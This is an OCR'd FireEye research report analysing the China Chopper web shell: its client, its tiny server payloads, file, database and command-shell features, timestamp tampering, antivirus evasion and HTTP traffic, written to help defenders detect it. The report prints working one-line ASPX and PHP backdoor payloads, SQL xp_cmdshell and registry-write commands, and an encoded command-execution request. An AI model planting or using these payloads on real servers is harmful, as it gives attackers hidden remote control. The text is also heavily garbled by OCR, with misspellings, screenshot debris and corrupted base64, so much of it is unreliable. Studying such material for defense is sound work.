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Intfroduction

China Chopper is an increasingly popular Web shell that packs a powerful punch into a small package.
In the space of just 4 kilobytes, the Web shell offers file and database management, code obfuscation,
and more—all in an easy-to-use graphical user interface that even novices can use.

Given its growing prevalence, especially among Chinese cybercriminals, China Chopper warrants
much more exposure than it has received to date. Outside of an insightful blog post from security
researcher Keith Tyler', littfle useful information on China Chopyper is publically available.

To contribute something new to the public knowledge base—especially for those who happen to find
the China Chopper server-side payload on one of their Web servers—FireEye studied the components,
capabilities, payload afttributes, and the detection rate of this 4 kilobyte menace.

This report describes the features that make China Chopper an increasingly popular tool for cyber
attackers. And more important, the report explains how security professionals can better detect the
Web shell through network fraffic and on compromised systems.

Components

China Chopper is a simple backdoor in ferms of components. It has two key components: the Web shell
command-and-confrol (CnC) client binary and a text-based Web shell payload (server component).
The text-based payload is so simple and short that an attacker could type it by hand right on the target
server—no file fransfer needed.

Web shell client
The Web shell client was originally available on www.maicaidao.com. FireEye advises against visiting
that site now.

Web Shell (CnC) Client MD5 Hash

caidao.exe 5001ef50c7e869253a7c152a638eab8a

Table 1: Original Web shell
client with MD5 hash code

1 Tyler's China Chopper post is available at http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html.
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The client binary is packed with UPX and is 220,672 bytes in size, as shown in Figure 1.

Hex - [5001ef50c7eB69253a;

L Fle Edc Search Navigaton view pecast Options Window  Help

DELHGSE | chBRY HAVEA 2P O9Feomd  Kdrao B &

Fle Edt 5001 ef5i0c7286925 37 c15266 Beabta cxe |
Offset | 0 1 2 3 4 5 6 7 8 3 A B CDEF ~ {uegistred]
00000000 | 4D SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 KZI 9% | 5001e/50c7686325387c 152060
00000010 B3 00 00 00 00 00 00 00 40 00 00 00 00 00 00 0D @ CAADacumens and Seltings\Ad
00000020 | 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 0D
00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 0D Fle size: 216K8
00000040 | OE 1F BA OE 00 B4 09 CD 21 B8 01 4C D 21 54 68 ¢ ' 11, L1ITh 220672 bytes
00000050 | 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 1is program camno  DOSname  SODIEF-1EXE
00000060 | 74 20 62 65 20 72 75 GE 20 §3 6E 20 44 4F 53 20 t be run in DOS
00000070 | 6D 6F 64 65 2E 0D 0D OA 24 00 00 00 00 00 00 00 node. Defoul Edt Mode
00000080 | 06 76 8E 5B 42 17 E0 08 42 17 E0 08 42 17 EQ 08 vI[BABa Ba St oiiginal
00000090 | 1C 35 EB 08 41 17 E0 08 61 18 BF 08 44 17 E0 08 S8 A 3 1 ¢ D& oot o
000DO0AD | B1 18 BD 08 54 17 EO 08 2D 08 EB 08 41 17 E0 08 1 ¥ T & — 8 A 3  (ndojevemses a
000000BO | Ci OB EE 08 40 17 EO 08 2D 08 EA 08 43 17 EQ 08 4 i@ a-&1a
000000CO 2D 08 E4 08 40 17 E0 08 74 31 EB 08 41 17 E0 08 - & @ & t1& A &  Crestontme  0S/0S/2013
000000D0 | 74 31 E4 08 41 17 EO 08 42 17 E1 08 2F 14 EQ 08 t18 A A B 4 / & 07:50:30
000000E0 Ak 08 EB 08 65 17 E0 08 85 11 E6 08 43 17 E0 08 2 e e a L@ Ca | ioe oo
000DOOFD | 52 69 63 68 42 17 EO 08 00 00 00 00 00 00 00 00 RichB & e
00000100 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0D
00000110 | 50 45 00 00 4C 01 03 00 1B 42 C3 4E 00 00 00 00 PE L  BEN Atibuie: A
00000120 |00 00 00 00 E0 00 OF 01 OB 01 06 00 00 40 03 0D a [ == =
00000130 | 00 20 00 00 00 A0 07 00 10 ES OA 00 0O BO 07 0D e
00000140 | 00 FO DA 00 00 00 40 00 00 10 00 00 00 0Z 00 00 & @ e sl
00000150 | 04 00 00 00 00 00 00 00 04 00 00 00 0O 00 0O 0D Offeete: hesadecingl
00000160 | 00 10 OB 00 00 10 00 00 00 00 00 00 02 00 0O 0D Bylesperpoge 38416608
00000170 | D0 00 10 00 00 10 00 00 00 00 10 00 00 10 00 0D
00000180 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 0O VALY U
00000130 | 48 0C OB 00 EC 02 00 00 00 FO OA 00 48 1C 00 00 K i & H DCE o i
000001A0 | 00 00 00 00 00 00 00 00 00 00 00 00 0O 0O 0O 0D 5
000001B0 | 00 00 00 00 00 00 00 00 0O 00 00 00 DO 00 0O 0D exst il
000001C0O 00 00 00 00 00 00 00 00 00 00 0O 0O 00 00 00 00 TEMPfolder: _ 40.8GB free
000001D0 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 LECHRIRRICCELoR ore
0000O1E0 | D0 00 00 00 00 00 00 00 0O 00 00 00 0O 00 00 0D
000D01F0 | 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 0O 0D m
00000200 | 00 00 00 00 00 00 00 00 S5 S0 S8 30 00 00 00 00 UPK0
00000210 | 00 A0 07 00 00 10 00 00 00 00 00 00 DO 04 00 0D
00000220 |00 00 00 00 DO 00 00 00 00 00 00 00 8O 00 00 EO 13
00000230 | 55 50 S8 31 00 00 00 00 00 40 03 00 00 BO 07 00 | UPXL @
00000240 | D0 3A 03 00 00 04 00 00 00 00 00 00 0O 00 00 0D <

00 00 00 00 40 00 00 EO 2E 72 73 72 63 00 00 00 @ a.rerc

Figure 1: Client binary
viewed in WinHex

The executable file compressor UPX unpacks the binary to reveal details hidden by the packer.

C:\Documents and Settings\Administrator\Desktop>upx -d
5001ef50c7e869253a7cl52a638eab8a.exe -o decomp.exe
Ultimate Packer for eXecutables

Copyright (C) 1996 - 2011

UPX 3.08w Markus Oberhumer, Laszlo Molnar & John Reiser Dec
12th 2011

File size Ratio Format Name

700416 <- 220672 31.51% win32/pe decomp.exe

Unpacked 1 file.
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PEID (a free tool for detecting packers, cryptors, and compilers found in PE executable files),? reveals
that the unpacked client binary was written in Microsoft Visual C++ 6.0, as shown in Figure 2.

7€ PED v0.95

File: | C:\Documents and Settings\AdministratoriDesktopidecomp. exe

Entrypoint: | 00065948 EP Section: | .text >
File Offset: | 00065948 First Bytes: |S5,8B,EC,6A > |
Linker Info: 6.0 Subsystem: | Win32 GUI >

Microsoft Yisual C++ 6.0

Multi Scan Task Viewer Options About 1 Exit 1

IV Stay on top i]

Because the strings are not encoded, examining them in the unpacked binary exposes how the
backdoor communicates. Appearing in the strings are an infriguing reference to google.com.hk using
the Chinese (simplified) language parameter (Figure 3) and references to the text “Chopper” (Figure 4).

\WINDOWS\system32\cmd.exe !EE

TYPETCOSTUNLZE

[Please enter the URL address?
.com/

ht tp =/ uuw.

Tip: The default view can not be deleted!?
[Alt+K]

s/ {flag: ssfully? {dict:lis
min/} {flag:?!*HITP-1.1 404> {dict

Kcrack? {urlghttp;/
Kepiderd {url:http:/rus/> {range:xs)> {filter>

2 More information about PEID is available at http://www.aldeid.com/wiki/PED.
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In action, China Chopper is a menu-driven GUI full of convenient attack and “target-management”
features. When opened, the client displays example shell entries that point to www.maicaidao.com,
which originally hosted components of the Web shell.

To add a targeft, attackers right click within the client window, select Add from the menu and enter the
target IP address, password, and encoding as shown in Figure 5.

\WINDOWS\system32\cmd.exe

document
document

document
document

0Ol

PP hetp:fi102.168.3...

KET hittp:#/192 168 3

HET hittp:fhuww maic ...

RSP hetpfume maic. ..

PHR http: oy maic

01102168 33.135

401102 168 33138

Import database

2013-06-14 02:50:66

Thursday 2013-06-20
=] Site Type

Default

2013-06-14 03 49:58 Typel
Calendar Reminder
127.0.0.1 <T+ADD4T>00... 2013-06-06 23:43:56 Shartut Link
137001 «T=AD0<T:00... 2012-06-06 07:50:24
1ot <Tehd¥ S0LT 2013-06-06 07 50:34
Search
List hanagerm
GUITEN Gategory
I AddSHELL I X
Address] hitp://192168.33.135/shel ohp Pass
Config; \
Target Password
Hotes:|
[Dafau ~||PHPEval ~[[uTF2 =l add

0.Defaulk(S)

FireEye, Inc.
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Server-side Payload Component

But the client is only half of the remote access tool (RAT)—and not likely the part that would appear on
a targeted network. Its communication relies on a payload in the form of a small Web application. This
payload is available in a variety of languages such as ASP, ASPX, PHP, JSP, and CFM. Table 2 shows some
of the original files available for download shown with their MD5 hashes.

Web Shell Payload MD5 Hash

Customize.aspx 8a0603ee2454dab4f4c70f24cc0b5e08
Customize.cfm ad8288227240477a95fb023551773c84
Customize.jsp acba8115d027529763ea5c7ed6621499

Table 2: Original China Chopper files,
with MD5 hash codes®

Even though the MD5s are useful, this is a text-based payload that can be easily changed, resulting
in a new MDS5 hash. Here is an example of just one of China Chopper's text-based payloads (for more
details, see “Payload Attributes” on Page 11):

ASPX:

<%@ Page Language="Jscript”$><%eval(Request.Item[“password”],”unsafe”);%>

In real-world use, “password” would be replaced with the actual password to be used in the client
component when connecting to the Web shell.

3 Keith Tyler. “China Chopper Webshell - the 4KB that Owns your Web Server.” November 2012.
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Capabilities

The capabilities of both the payload and the client are impressive considering their size. The Web shell
client contains a “Security Scan” feature, independent of the payload, that gives the aftacker the
ability to spider and use brute-force password guessing against authentication portals.

)| i s [+

B Greverse_ip} lusk http: /v maicaidao. com/}
freverse_ip) (ukhitg://wmw.maicaidso. comd}
{reverse_ip_c} {urhitp.//vawss. maicsidao. com)
freverse_ip_c} {urt hitp: 2/ vy maicasdso.com) {port}
{spider) {uak hltgs/vwrmn maicaido. com}
{spides) {uat g fwww maicaicao.comd} (iter)
spide) at icadso.cond) icsi
{spider) { ) ” )
ferack} {urkbttpe//%s fadmin/) (fag HTTP/1.1 200} {dict st )
{erack) {urkbitp://%s dmin/) {lag/HTTP/1.1 404} {dictlist ba)

dict

{erack} {urthtip:/ /v

> =0Ox
Wonday 20130617

= [E] staType
Datat

~ Stat

Typel
Calendar Reminder
Shortout Lk

Figure 6: China Chopper provides
a “Security Scan” feature

In addition to vulnerability hunting, China Chopper has excellent CnC features when combining

the client and payload, include the following:
* File Management (File explorer)
e Database Management (DB client)

* Virtual Terminal (Command shell)

In China Chopper's main window, right-clicking one of the target URLs brings up a list of possible

actions (see Figure 7).

(| B 192.168.33.138

Calendar Reminder +

E http:#/192.168.33.138/shellme aspx 7740192.168.33.138

ET http:#hwww maicaidac com/server.asp 127.0.0.1

RSP http:/wwn maicaidao comiserver.aspx 127.0.0.1

127.00.1 /
Capabilities

PiP hitp:/www maicaidao comiserver php

P =
Thursday 2013-06-06
= Site Type.

NOROR 121705

Files Management Defauk
Database Management c‘uzzp::amnder
\rtual Terminal Shortout Uink

My Script

&it

Delete

~dd

Search

Open the Websie

Copy the server code to the clipboard

List Management

Import database into cument category 0.Default{4)

Figure 7: Screenshot of the CnC client
showing capabilities of the Web shell

FireEye, Inc.
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File Management

Used as a RAT, China Chopper makes file management simple. Abilities include uploading and
downloading files to and from the target, using the file-retrieval tool Wget* to download files from the
Web to the target. Attackers can also edit, delete, copy, and rename files—and even change their

fime stamp.

(2 C:\inetpubwwirooth

(2 aspret_ciert
11 Documerts and Settings
(53 MSOCache
@ Pel
'] Prograr Files
I RECYCLER
& scipts
123 System Volume Information
12 tools

192.168.33.138 Folder(1].File

3]

]

| (£ 162.168.33.138 Calendar Reminder + > =0 x
~ | Lt Sunday 2013-08.09

Name Time Size Atribute = Site Type

= i 2013060 21:44.08 0 ol
() aspnet_cient 13.06-06 21 0 —
@ iisstart htm 2003-02-21 17:48:30 1433 o (=) T Calendar Reminder
%) pagermor.git 2003-02-21 17:48:30 2006 ) (] [ Check Update
8 Shortout Link

st 0

Update Cache

Clear the cache of the WebSite
WGET

Uplead

Download

Edit

Delete

UTF-8
Copy

Rename

Modify the file time

New »

Figure 8: File management provides an
easy-to-use menu that is activated by
right-clicking on a file name

The Modify the file time opftion is a surprisingly effective stealth technique. Figure 9 shows the time
stamps of the three files in the test directory before the Web shell modifies the time stamps. By default,
Windows Explorer shows only the “Date Modified” field. Without the fime stamp change, the Web shell
easily stands out because it is newer than the other two files.

@& C:\Inetpub’\wwwroot - |I:|| x|
File Edt Wew Favortes Tools Help | W
Qoek ~ @ - | Psearch [ Faders | 1 3 X 4 | [E-

Address |Hj Ci\Inetpubipmsmroot LI & o
ame I Size | Type [ Date Created | Date Accessed Date Modified | attributes
@listart hm - 2KB  Firefox Document 4j20/2009 E:59 AN 6[19/20139:43PM | 2/21/2003 &45PM| A
E]pagermr.g\f 3KB  GIF Image 42072009 £:59 AM 6/19[2013 9:40 PM 2[21/2003 €:43 PM A

[£] shelime. aspx 1KB ASPXFile 6620013 12:01PM  6/19/20139:41 PM | 6/6/2013 8:33 P a

4 | i

Figure 9: IS directory showing fime
stamps prior to the time modification

4 Wgetis available at http://www.gnu.org/software/wget/.
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Figure 10 shows the date of the file after the Web shell modifies the fime stamp. The “Date Modified”
value on the Web shell shows up as the same as the other two files. This is the default field displayed to
users, so to the untrained eye it easily blends in—especially with many files in the directory.

\ k|

| &

Qeck + ) - ¥ | POsearch [ Folders | 13 3 X 9 [ [
Address [ C:ilnetpublwmroot - B ce

| Size | Type | Date Created | Date Accessed Date Modified | Aktributes
2KE  Firefox Document 4/20/2009 6:59 AM 6/25/2013 2:51 PM 2[21/2003 6:48 PM A

3KE  GIF Image 4202009 6:59 AM  6/25/20132:51 PM | 2f21/2003 6:48 R0 | A
[7] shellme. aspx 1KB  ASPXFie 221/20036:48PM  6/25/20132:56 PM | 2f21/2003 6:48PM | A

< | i

Figure 10: IS directory showing time
stamps after the fime modification

Clever investigators may think that they can spot the suspicious file due to the creation date being
changed to the same date as the modified date. But this is not necessarily anomalous. Additionally,
even if the file is deftected, the forensic fimeline is skewed because the date that the attacker planted
the file is no longer present. Finding the real date that the file was planted requires examining the
Master File Table (MFT). After acquiring the MFT using FTK, EnCase, or other means, FireEye recommends
using mftdump.® Written by FireEye researcher Mike Spohn, mftdump is a great tool for extracting and
analyzing file metadata.

Table 3 shows the fime stamps pulled from the MFT for our Web shell file before and after the time
stamps were modified. The “fn*” fields retain their original tfimes, so some useful information remains.

Category Pre-touch Match Post-touch Match
siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48
siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56
siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48
SiIMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56

fnCreateTime (UTC)

6/6/2013 16:01

6/6/2013 16:01

fnAccessTime (UTC)

6/6/2013 16:03

6/6/2013 16:03

fnModTime (UTC)

6/4/2013 15:42

6/4/2013 15:42

fnAMFTModTime (UTC)

6/6/2013 16:04

6/6/2013 16:04

5 The mftdump tool is available at http://malware-hunters.net/all-downloads/.

Table 3: Time stamps from MFT
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Database Management

The database management functionality is impressive and helpful to the first-time user. Upon configuring
the client, China Chopper provides example connection syntax.

(I} 102.168.33.138 M x
=] v [ Esecite Sunday 2013-06-09
Sh - = [E] she Type
Configure the database connestion information el
i
Example:| <T>AD0</T>II<C> Driver={Sql Server}:Server=(local).Database=master:Uid=sa:Pwd=c/C> ﬂ Tlr::n:r
Config

ik

Submit )
After connecting, China Chopper also provides useful SQL commands.
(| 192.168.32.138 O x
Config Ml

vl Execue Sunday 2013-06-09
SELECT IS_SRYROLEMEMBER('sysadmin)
EXEC master..xp_cmdshell 'set’

= [E] Ste Type

EXEC master. xp_regread HKEY_LOCAL_MACHINE'/SYSTEMACurrentControlSet\ContiohTerminal Servert) “’::“'"
EXEC master..xp_regwite HKEY_LOCAL_MACHINE,'SOFTWARE' dows\Ct un| T i natvie
EXEC master..xp_dirtree 'T:\',1,1

EXEC master..sp_addextendedproc "wp_cmdshell” plog70.dI' # C"“'f Update
EXEC sp_configure ‘show advanced options',1.RECONFIGURE EXEC sp_configure sp_cmdshell’,1,RECON ShotoutlLink

Command Shell Access

Finally, China Chopper provides command shell access for OS-level interaction, further
demonstrating its versatility.

|| B 192.188.32.138

Sunday 2013-06-09
= [E] ste Type
Defaut
Typet
T5) Calendar Reminder
% | Cheok Update
Shorteut Link

UTF-8

FireEye, Inc.
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Payload Attributes

China Chopper is stealthy due to a number of factors, including the following:
* Size

» Server-side content

* Client-side content

e AV detection rate (or lack thereof)

Size

Malicious and benign software usually suffers from the same principle: more features equals more code,
which equals larger size. Considering how many features China Chopper offers, it is incredibly small—just
73 bytes for the ASPX version, or 4 kilobytes on disk (see Figure 14). Compare that to other Web shells
such as Laudanum (619 bytes) or RedTeam Pentesting (8,527 bytes). China Chopper is so small and
simple that an attacker could conceivably type the contents of the shell by hand.

shellme.aspx Properties I llll

GmdlSmiwl Summary |

n m\r

Ishellme.aspx

Type of file: ~ ASPX File
Openswith: ', Notepad Change... I

Location:  C:\inetpub\wwwroot
Size: 73 bytes (73 bytes)
Size on disk:  4.00 KB (4,096 bytes)

Created: Today, June 06, 2013, 12:01:50 PM
Modified: Today, June 06, 2013, 8:33:33 PM
Accessed.  Today, June 06, 2013, 8:33:33 PM

™ Hidden Advanced... I

Attributes:

[ ok | cancel | oy

Figure 14: China Chopper
file properties
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Server-Side Content
The server-side content could easily be overlooked among the other files associated with a vanilla
install of a complex application. The code does not look malicious—just odd.

[P shellme.aspx - Notepad alglil

File Edit Format View Help
<¥@ Page Language="Jscript"%><Xeval(Request.Item["security"], "unsafe'); %> ”:J

f o)

Figure 15: The content of the file
seems relatively benign, especially
if with a safe-sounding word like
“Security” as the shell password

Below are the contents of the Web shell for two of its varieties.

ASPX:

<%@ Page Language="Jscript”%><%eval(RequestItem[“password”],”unsafe”);%>

PHP:

<?php @eval($_POST[ ‘password’]);?>

Client-Side Content
Because all of the code is server-side language that does not generate client-side code,
browsing to the Web shell and viewing the source as a client reveals nothing.

€« > C DIISZ.J.SE‘EIE.lff‘she\l.aspxI « > C view-source: 192, 168.33.138/shell.aspx e =

1

Figure 16: Viewing the source of the
Web shell reveals nothing to the client
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Anti-Virus Detection Rate
Running the Web shell through the virus-scanning website “No Virus Thanks” shows a detection rate of
0 out of 14, indicating that most, if not all, anfi-virus tools would miss the Web shell on an infected system.

€« > C D vscanlnovirusthanksprgf analysis/f2ac6532ca6220¢
Date 2013-06-07 02:39:18 (GMT 1)
File name shellme-aspx
I File size 73 bytes I
MDS hash f2ac6532ca6220ea4ch 1720b81274007
SHA1 hash 74325800d 1b3499cfd09cd8902305e 16dabbfe 12
Detection rate: 0on 14 (0%)
Status: CLEAN
Antivirus Engine Result
@ 5.1.0.3 -
Asquared
@ Avast 5.0 -
M avG 10.0.0.1190 -
R,Avim 7.11.7.12 =
B BitDefender 7.0.0.2555 -
@ Clamav 0.97.4 2
C comodo 1.0 -
DrWeb 3.0.2 -
F Fprot 6.0 -
€ IkarusT3 T31001087
' panda 10,0.3.0 -

Figure 17: Results of multiple anfi-virus
engine inspections showing China
Chopper coming up clean

FireEye, Inc.  The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 13



The same holds true for VirusTotal. None of its 47 anti-virus engines flags China Chopper as malicious.

Ble Edt Yew Hgtory Bookmarks ook Hel

) Antivirus scan for [2ac6532ca6220eadch] 72008174007 at UTC - Virus Total - Mazilla Firefos i [=1F|
&
total, 60c0SecFod: |(:| s

O -cx.m
TR e N R
il total

SHARSE:
File name

Analysis date:

Antivirus
Agnitum
AhnlLab-V3
Antivir
Antiy-AVL
Arast

VG
Transfeering data from chart.googieapis. com

Platform

shellme. aspx

c2c66dd2960c05ecBdDS aceadaBd2edBb2e2 a5 e7Bolfilc7 dd904 cBad9be

Result

@0®O0

2013-07-08 13:33:54 UTC (0 minutes ago )

Update
20130707
20130708
20130708
20130708
20130708

20130708

. vinustokal.com |

K]

China Chopper can run on any Web server capable of running JSP, ASP, ASPX, PHP, or CFM—the
majority of Web application languages. China Chopper can also run fransparently on both Windows
and Linux. This OS and application flexibility make China Chopper an even more dangerous Web shell.

“Server-side Payload Component” on Page 5 showed China Chopper executing on a Windows 2003 IS
server using ASPX. Figure 19 shows it running on Linux with PHP. Here, the contents of the PHP version are

just as minimalistic.

root@DVORAK:

shell.php

<?php @eval($ POST[ ‘pésswo rd']);?>

FireEye, Inc.
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While the available options differ depending on what platform China Chopper is running on,
the file management features in Linux (see Figure 20) are similar o those in Windows.

| 5 192.108.33.195 - [
= List Sunday 2013.00-09
19216833135 Folder22| Fiel3] Nama Time sire Az ° 5 [C] SkeType
= wll S et 20120806 11028 e Tt
= v Typel
| =7 Calendar Rerminder
ik Check Updae
- ade - Shorteut Link
=g &~
— selirx
O oav e
J bn e oY WOET
O sy Upload
22 lostsfound T e
! — Delete
o 0
O proc o Copy

et - g

dify e —
Hew »

The database client example shown in Figure 21 is MySQL instead of MS-SQL, but it offers many
of the same capabilities.

a 192.168.33.135 X
. Exeruis Sunday 201306.00
— [C] site T pe
Configure the database connection information x
g
Example:| T5MYSOLE/T>eHs Iocalhoste/Ha U oot /U iP5 < /P> ik LutfBe /L | ';‘;’
LConfig:
Submit

The virtual terminal looks familiar (Figure 22), but uses Linux commands instead of Windows because
they are ultimately interpreted by the underlying operating system.

a B 192.168.32.135 X
Sunday 2013-06-08
= Site Type
Defaut
Typel
= Calendar Reminder
+ || Cheek Update
Sharteun Link
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Delivery Mechanism

China Chopper's delivery mechanism is flexible due to the size, format, and simplicity of the malware’s
payload. This small, text-based payload can be delivered using any of the following mechanisms:

e WebDAV file upload

e JBoss jmx-console or Apache Tomcat management pages
(For more details on this attack vector, read FirekEye consultant Tony Lee’s explanation)®

¢ Remote exploit with a file drop

e Lateral propagation from other access

Traffic Analysis

After examining the server-side payload and the client used to control the Web shell, the next step

to understanding China Chopper is observing its fraffic. Having both the server and client components
enables researchers to start a packet capture to view the contents of typical traffic. As shown in
Figure 23, the client initiates the connection over TCP port 80 using the HTTP POST method.

7! Chopper.pcapng, [Wireshark 1.8.7. (SVN Rev 49382 from /trunk-1.8)]

Bl Edt Vew Go Copture Anslyae Stalitics Tekphony ook Interns Hep
SEoed mEXEE Aace+»aTLIEE QA FEB % B

| Bl o roy sove

Port 80 HTTP Traffic - POST method

Source Destination Protocol Length _ Info

5 21.8425730 vimware_0f:50:7e  Broadcast ARP 42 who has 192.168.33.1387 Tell37.168.33.137

6 21.8427600 Vinware_6c:BL:00  Viware Of:50:7e  ARP 60152.168.33.138 is at 00:0oe75:6C:81:90

7 71.8427780107.168.33.137 107.168.33.138 €2 rapidng-center > RCLPPLSYN] 5eq=0 win=64240 Len=0 Mss=1460 SACK_PERM=L

8 21.8420130102.168,33.138 102.168.33.137 62 http > rapidngzgefiter [SYN, ACK] Seg=0 Ack=1 win=64240 Len=0 MSS=1460 SACK_PERM=1

9 21.8420400102.168.33.137 102.168.33.138 i 5

10 21.8430640102.168.33.137 102.168.33.138
21.84 37 107 3

12 21.84

.168.33. .168.33.137
13 22.4600870192.168.33.138 192.168.33.137 HTTP 334 HTTR/L.1 200 oK (text/html)

14 22.4610350192.168.33.137 102.168.33.138 Tcp 54 rapidng-certer > http [ACK] Seq=1402 Ack=282 Win=63960 Len=0 b
15 22.4611950192.168.33.137 192.168.33.138 TcR 54 rapidng-center > http [FIN, ACK] Seq=1402 Ack=282 win=63960 Len=0

16 22.4614820102.168.33.138 102.168.33.137 Tce 60 http > rapidng-center [ACK] Seq=282 Ack=1403 win=62835 Len=0

Frame 11: 1161 bytes on wire (9288 bits), 1161 bytes captured (9288 bits) on interface 0

Ethernet T1, Src: Viware_9f:50:7e (00:0C:29:9f:50:7e), DST: Wiware_6C:B1:30 (00:0C:29:6C:81:50)

Internet Protocol version 4, src: 192.168.33.137 (192.168.33.137), Dst: 192.168.33.138 (192.168.33.138)

® Transmission contral Protocal, src Port: rapidmg-Center (3093), Dst Port: http (80), Seq: 205, ack: 1, Len: 1107

[2 Reassembled TCP Segments (1401 byres): #10(294), #11(1107)]

& Line-hased text data: application/x-www-form-urlencoded

[truncated] Password-Response.write("=>|");var err:Exception;try{eval(system. Text.Encoding. GetEncoding(65001). GeTstring(System. Convert. Fromease6dstringCdn

31 |=

120 73 65 0d 0a 0d 0a
130 IR

[ Packets: 19 Displayed: 19 Marked: 0 Load time: 0:00.203 [ Profile: Defaul

Figure 23: A packet capture shows that
the Web shell traffic is HTTP POST traffic
over TCP port 80

6 Tony Lee. "Manually Exploiting Tomcat Manager.” September 2012.
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Because this is TCP fraffic, researchers can “follow the TCP” stream in Wireshark, a popular open-source
network-protocol analyzer that works in Unix and Windows.” In Figure 24, the fraffic in red af the top is

from the attacker (Web client). The traffic shown in blue at the boftom is the response from the target
(Web shell).

Follow TCP Stream

Sream Content

[POST /shelime. aspx HTTP/1.1

Cache-Control: no-cache

X-Forwarded-For: 81.47.81.45

referer: http://192.168.33.138

Content-Type: agq'l ication/x-www-form-urlencoded

User-Agent: Mozi11a/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
HOST : 92.168'.133.138
Content-Length: 1107 -

Iconnection: Close I Traffic from the attacker l

Password=Response.write(”->|");var err:Exception;try{eval

System. Text.Encoding. GetEncoding(65001).Getstring(System. Convert
“dmFyIGMObmV3IFNSC3R1bSSEawF nbm! zM]g'“qsqmgjmzuznhcnnJmmxru I3 Ll 29kaws
nLkd1dEVUY2 9k awSNKDYIMDAXKS SHZXRTdHIpbmcou3 1 206V LKNvbNZ 1 ¢nQURNIVbUIhCZUZNFNOCm] SZXF1
ZXNOLK 10ZwlbInoxI10pKsk 7dnFyIGUObmv3IFNSC3R1bSSEawFnbmo2dG 1 cySQem9 ZxNzKCk 7dnFy1Go1ldopTe
XNOZWOUSUBUU3R T EVIOINSC3R1bSSITYSTdHI 1 YWLSZWFk 2XT SVC2VT aGVsbEVA ZWNLdGU!
F5C2U7Yy5SZwRpcmv ] dFNOYWS kY XIK T3VOCHVOPXRY WU 7Yy S SZwRpcmv j dF NOYWS K Y Xk RXIyb319dHI1ZTTILIN
0YXI0SW mbngronzanxJnM‘lbnR:PSIWyM KINSC3R1bSSUZXhOLkVUY 29k awSnLkd1dEVUY2 9k aWSNKDY1MDAX
KSSHZXRTdHIpbmcou3 1 zdGviLkNvbnZ 1 cnQuRNIVBUINC2UZNFNOCM 1 uZyhSZXF1ZXNOLK 10ZwlbInoyI 10pKTT 1L
TNOYXI0KCk 7| 3VOPWUUUSRhbmRhCMRPAXRWAXQ7RUK 925 5TAGF UZGFYZEVY/CMIyO2UUQ2 XV C2UOKTT 25225
5xcm10ZShvdxQuumvhZFRvRWSkKCk rRUKUUMVhZFRYRWSKKCk pow%3D%30™)), “unsafe™); }catch(err)

Euesponse.write("znnon:// "xzaerr.message):}Response.wr'lte(' <="J;RrResponse. End
);&21aY. =Y, mMMEXG | UZXRwdW I Ci 3d3cm9ud¢w1Jndnbznasz'lvzl'w:Ft'rxszjzcz'lvzhvlnm
0X3 .
jon: close

Date: Thu, 06 Jun 2013 18:48:51 GMT
server: Microsoft-115/6.0
X-AspNet-version: 1.1,4322
Icm:he-com:n:n‘l: private

[Content-Type: text/html; charset=utf-8
Content-Length: 66

| Response from the target |

-[;int authority\network service

C:\Inetpub\wwwroot
::L http://wwew fireeye.com/blog/
wp-content/uploads/2013/08/image08L.
png J
|Crl+Click to follow link
[erm conversation (1681 bytes)

v

[ Bd || saveas || eim  |Oasan O EescoIC O Hex Durp O Camays @® Raw

(rwoumosmn ][ cow ]

Figure 24: After following the TCP

stream, researchers can see that

the majority of the attacker traffic
is Basebé4 encoded

7 Wireshark is available at http://www.wireshark.org/.
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As highlighted above, the majority of the attacker traffic appears to be Baseé4 encoded. This is not a

problem though, because it can be easily decoded. Using the “TextWizard” feature of the free Fiddler
Web debugger reveals what the attacker is sending.®

(Note: %3D is a URL-encoded representation of the equal sign (*="

to an equal sign for proper decoding.)

Raw attacker traffic:

As shown In Figure 25, the Fiddler Web debugger text wizard easily converts the raw fraffic from

Password=Response.Write(“->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).
GetString(System. Convert.FromBase64String
(“dmFyIGM9bmV3IFN5c3R1bS5EaWFnbm9zdGljcy5Q0cm9jZXNzU3RhecnRIbmZVKFNS5c3R
1bS5UZXh0LkVuY29kaW5n

Lkd1ldEVuY29kaW5nKDY 1MDAXKS5HZXRTdHIpbmcoU31zdGVtLkNvbnZlcnQuRnJvbUJhe
2U2NFNOcmluZyhSZXF1zX
NOLk10ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3R1bS5EaWFnbm9zdGljcy50cm9jZXN
zKCk7dmFyIG91dDpTeXNO
ZWOuSUBuU3RYZWFtUmVhZGVyLEVJO1N5c3R1bS5JTy5TdHI1YW1SZWFkZXI7Yy5Ve2VTa
GVsbEV4ZWN1dGU9ZmFsc2
U7Yy5SZWRpcmVjdFNOYWS5kYXJKT3VOCHVOPXRydWU7Yy5SZWRpemV jdFNOYWS5KYXTKRXJ
yb3I9dHJI1ZTt1LINOYXJO0
SW5mbz13j02MuQXJndWllbnRzPSIVYyAiKIN5c3R1bS5UZXh0LkVuY29kaw5nLkd1dEVuY
29kawW5nKDY1MDAXKS5HZX
RTdHIpbmcoU31zdGVtLkNvbnZzlcnQuRnIJvbUJThc2U2NFNOcmluZyhSZXF1ZXNOLk10ZW1
bInoyIl0pKTt1LINOYXJO
KCk7b3VOPWUuU3RhbmRhcmRPAXRwWAXQ7RUK9ZS5TAGFuzZGFyZEVycm9y02UuQ2xvc2Uo
KTtSZXNwb252255Xcml0ZS
hvdXQuUmVhZFRVRW5KkKCkrRUkuUmVhZFRVRW5kKCkpOw%3D%$3D"” ) ), “unsafe”); }
catch(err){Response.Write

(“ERROR:// “%2Berr.message); }Response.Write(“|<-");Response.
End();&z1=Y21k&z2=Y2QgL2QgImM6
